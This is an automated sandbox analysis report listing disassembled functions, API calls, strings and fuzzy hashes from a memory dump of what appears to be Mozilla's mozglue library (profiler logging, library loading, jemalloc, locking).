Instruction Fuzzy Hash: 7211C8B1D00215ABDB10AF7A9C44B6BBEE8EF45394F044529F888D7300E7709C44CBE2

Function 6C5299A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C5299C1
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C5299CE
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C5299F8
GetCurrentThreadId.KERNEL32 ref: 6C529A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C529A0D

Part of subcall function 6C529A60: GetCurrentThreadId.KERNEL32 ref: 6C529A95
Part of subcall function 6C529A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C529A9D
Part of subcall function 6C529A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C529ACC
Part of subcall function 6C529A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C529BA7
Part of subcall function 6C529A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C529BB8
Part of subcall function 6C529A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C529BC9

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C529A15

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 14ddcd081fd1b1104876b519e1c9f1f358d3d171c76b45968033d6ffc760a7bc
Instruction ID: f91159a7db5a5c0a02e0f734f702d10550670b66f8407d2166572a9fe38310c4
Opcode Fuzzy Hash: 14ddcd081fd1b1104876b519e1c9f1f358d3d171c76b45968033d6ffc760a7bc
Instruction Fuzzy Hash: 3B010431E082249BDB006F2B9C087B93BB8EB83269F060216FD0553F91D7390C04D7AA

Function 6C4F1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4F1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4F1FFD
__Init_thread_footer.LIBCMT ref: 6C4F2011
FreeLibrary.KERNEL32 ref: 6C4F2059

Strings

combase.dll, xrefs: 6C4F1FD9
CoCreateInstance, xrefs: 6C4F1FF7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 89941940ce04f70810052795b4e590eb44566cfa836dcc54251605be8e6edf5d
Instruction ID: 74f6d2a3b52570affa30420cf0ca2c3702049cf66023ce0781d472e8c79a2747
Opcode Fuzzy Hash: 89941940ce04f70810052795b4e590eb44566cfa836dcc54251605be8e6edf5d
Instruction Fuzzy Hash: 8111AF75601244AFEF20DF1ACC4CE663B79FB96319F014215FA1492B61CB319C45CBA5

Function 6C4F0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C51D9F0,00000000), ref: 6C4F0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4F0F3C
__Init_thread_footer.LIBCMT ref: 6C4F0F50
FreeLibrary.KERNEL32(?,6C51D9F0,00000000), ref: 6C4F0F86

Strings

combase.dll, xrefs: 6C4F0F18
CoInitializeEx, xrefs: 6C4F0F36

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: e02eb548886dde5340861cc9f020ea985b4bfb370d700d8e07cbeaae8d54cef9
Instruction ID: bef67083e63b85b9be4fc2a0aa92c03712e519f59769ab36114c5a042d555589
Opcode Fuzzy Hash: e02eb548886dde5340861cc9f020ea985b4bfb370d700d8e07cbeaae8d54cef9
Instruction Fuzzy Hash: 58115474B052409BEF10DF5ECD18F6A3774F7D6326B014316E91592B61D7709C06CA6A

Function 6C52F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F561

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F585
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C52F499
[I %d/%d] profiler_resume, xrefs: 6C52F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C52F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C52F56A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 512ed42df1907f29adf1e5d8ede03f6d70f126301b90d0d9d3ae4ff638ed83fb
Instruction ID: d94d6c4a3b07a370093e845bfe2cca62cd058842a9334da80b564ecd152eef3a
Opcode Fuzzy Hash: 512ed42df1907f29adf1e5d8ede03f6d70f126301b90d0d9d3ae4ff638ed83fb
Instruction Fuzzy Hash: 08F054757002049BDB007B6FDC48A7AB7BDFBC625DF010115FA0587B62DB795C0587A9

Function 6C4F0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4F0DF8), ref: 6C4F0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4F0EA1
__Init_thread_footer.LIBCMT ref: 6C4F0EB5
FreeLibrary.KERNEL32 ref: 6C4F0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4F0E9B
kernel32.dll, xrefs: 6C4F0E7D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 843d8a8e0e5a5099c66dd60152acd183f6f2ac99cbfe5362f864ab37f5c1ef95
Instruction ID: 98757044cf95838854abde7460bfe8404c757c223e941313b7d2732f8f0d8312
Opcode Fuzzy Hash: 843d8a8e0e5a5099c66dd60152acd183f6f2ac99cbfe5362f864ab37f5c1ef95
Instruction Fuzzy Hash: 70014F70B14281CBDF00DF9ECD14F61B3B5F786319F120615E91182F60DF70A8559A89

Function 6C52F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C52F598), ref: 6C52F621

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F637
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F645
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C52F62A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 0ea591a7487008eef3d0855f1821f8938cc6016f5c0f654d4f48302828a53a5a
Instruction ID: b0723c4a79e8e143f90733836ee0d57e18b0f4fb3576489299a556f9f0b12c9c
Opcode Fuzzy Hash: 0ea591a7487008eef3d0855f1821f8938cc6016f5c0f654d4f48302828a53a5a
Instruction Fuzzy Hash: F9F03075600204ABDB007B6A9C48A6AB7BDEBC625DF010115FA0583B61DB7A5C0587A9

Function 6C5205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C51CFAE,?,?,?,6C4E31A7), ref: 6C5205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C51CFAE,?,?,?,6C4E31A7), ref: 6C520616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4E31A7), ref: 6C52061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4E31A7), ref: 6C520627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C52061B, 6C520625
<jemalloc>, xrefs: 6C5205FA, 6C52060F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: cb07e66d94fb845bd67431255340c0d9ae7b662bda7f11a3c7ffafe4f7af6b2e
Instruction ID: 0e4822eea245a0990d91c8e11f7075621444111ca73187ea344127d78b5e5728
Opcode Fuzzy Hash: cb07e66d94fb845bd67431255340c0d9ae7b662bda7f11a3c7ffafe4f7af6b2e
Instruction Fuzzy Hash: 8BE08CE2A0101437F514225AAC86DBB7A1CDBCA634F09003AFD0D82301EA4ABD2E91F6

Function 6C539240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C539BAE
free.MOZGLUE(?,?), ref: 6C539BC3
free.MOZGLUE(?,?), ref: 6C539BD9

Part of subcall function 6C5393B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5394C8
Part of subcall function 6C5393B0: free.MOZGLUE(6C539281,?), ref: 6C5394DD

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: b219e8feaeade3ffcb674fc686de91a7e3743349a807af55a419d79f91f7a0fe
Instruction ID: 40f329b1d933f4b4d95be9ad985f69f803174ecc6defb015c9aa986a4ec53af5
Opcode Fuzzy Hash: b219e8feaeade3ffcb674fc686de91a7e3743349a807af55a419d79f91f7a0fe
Instruction Fuzzy Hash: BCB1C0B1A087158BCB01CF58C88059FF3F5FFC8328B544619E899AB741EB30E946CB95

Function 6C4F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfce7645f8722ac28c75ccdd2e77f997911338116a4fed990211db3ca1a73e2
Instruction ID: 1c9077d49a51d0b8c871e3be3644cec24fe66bc39e860c7caf900e3d7b385af0
Opcode Fuzzy Hash: fbfce7645f8722ac28c75ccdd2e77f997911338116a4fed990211db3ca1a73e2
Instruction Fuzzy Hash: 2AA139B0A01645CFDB24CF29C994E9AFBF1BF88304F4486AED45997B11E730A946CF90

Function 6C5271A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C526060: moz_xmalloc.MOZGLUE(00000024,E3A686E0,00000000,?,00000000,?,?,6C525FCB,6C5279A3), ref: 6C526078

free.MOZGLUE(-00000001), ref: 6C5272F6
free.MOZGLUE(?), ref: 6C527311

Strings

333s, xrefs: 6C52731B
333s, xrefs: 6C527226
Copied unique strings, xrefs: 6C527320
Spliced unique strings, xrefs: 6C527340

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 09e4f01001d9461e730996689a9da931dc073cb20a9f541a1b55898d1abd9ac8
Instruction ID: 035943ecd4d6a3f4a894f69e0ebb05f2f09e55fde1be0f80cb135261581d8bb2
Opcode Fuzzy Hash: 09e4f01001d9461e730996689a9da931dc073cb20a9f541a1b55898d1abd9ac8
Instruction Fuzzy Hash: 9F717171F006198FDB08CF69CC9069EB7F2AF98354F258129D80AAB750DB35AD46CBC1

Function 6C5414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5414E2
GetCurrentThreadId.KERNEL32 ref: 6C541546
InitializeConditionVariable.KERNEL32(?), ref: 6C5415BA
free.MOZGLUE(?), ref: 6C5416B4

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: d419aabad9ea59b531d33756d6fe51a5c8ec0179502f39903ca5b2bf0d95c851
Instruction ID: 51e93981aa3a1f01a84f2b8ff13cec207a0c9ef9dcde76421b2b62f8db7f4536
Opcode Fuzzy Hash: d419aabad9ea59b531d33756d6fe51a5c8ec0179502f39903ca5b2bf0d95c851
Instruction Fuzzy Hash: 9061ED72A00710DBDB119F25CC80BEBB7B0BF89308F45951CED8A57612EB31E998CB95

Function 6C53C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C53C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C53C29E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 13a58252bacb13d8933a0f542a416956794b82824a6456c882e2dc5287cce240
Instruction ID: c992916b1c6135b163c10484f17f03adffad1de0677b54615eb1c37ee72f0a5d
Opcode Fuzzy Hash: 13a58252bacb13d8933a0f542a416956794b82824a6456c882e2dc5287cce240
Instruction Fuzzy Hash: 5461AE71A00224CFCF14DFA8DC849AEBBB5FF49314F155629E84AAB750E731B944CBA4

Function 6C539F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C539FDB
free.MOZGLUE(?,?), ref: 6C539FF0
free.MOZGLUE(?,?), ref: 6C53A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C53A0BE
free.MOZGLUE(?,?), ref: 6C53A0D5
free.MOZGLUE(?,?), ref: 6C53A0EB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e56afe2618c09e5a1f7547d397b6257b26e5605063725459d34b255c451aa33b
Instruction ID: 03327d1c14fcc8adb48cb613d8aefb7592dba75bafc3ffe989c50f98b315fdeb
Opcode Fuzzy Hash: e56afe2618c09e5a1f7547d397b6257b26e5605063725459d34b255c451aa33b
Instruction Fuzzy Hash: FB61DF75508601DFC711CF58C88059AB3F5FFC8328F509659E8999B702EB32E986CBC1

Function 6C53DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C53D38A,?), ref: 6C53DC6F
free.MOZGLUE(?,?,?,?,?,6C53D38A,?), ref: 6C53DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C53D38A,?), ref: 6C53DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C53D38A,?), ref: 6C53DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C53D38A,?), ref: 6C53DD4A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 69c2b38937f7c16f6c1f360a484dc51b4c0eac654325a72ec6485e956a2f7ba7
Instruction ID: ddf7e281d87ce0e28d2f44fc6f33076d0cf9720df243407d2651504ed259488e
Opcode Fuzzy Hash: 69c2b38937f7c16f6c1f360a484dc51b4c0eac654325a72ec6485e956a2f7ba7
Instruction Fuzzy Hash: 48416DB5A00619CFCB00CFA9CC84A9AB7F6FF88314B555569E949ABB11E771FC01CB90

Function 6C4E39A0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E744,ewTl,00000000,ewTl,?,6C506112), ref: 6C4E39AF
LeaveCriticalSection.KERNEL32(6C56E744,?,6C506112), ref: 6C4E3A34
EnterCriticalSection.KERNEL32(6C56E784,6C506112), ref: 6C4E3A4B
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4E3A5F

Strings

ewTl, xrefs: 6C4E39A3, 6C4E39A5
